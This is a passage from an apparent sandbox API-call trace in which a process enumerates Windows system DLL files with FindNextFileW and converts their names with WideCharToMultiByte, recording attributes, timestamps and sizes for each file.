ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.080] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.081] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.081] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0xddc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0024.081] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.081] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0xddc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.081] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0024.081] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0xddc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.081] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.082] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0xddc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0024.082] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.082] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0xddc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0024.082] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.082] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0xddc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0024.082] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.082] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.083] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.083] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.083] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.083] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.083] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.083] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, 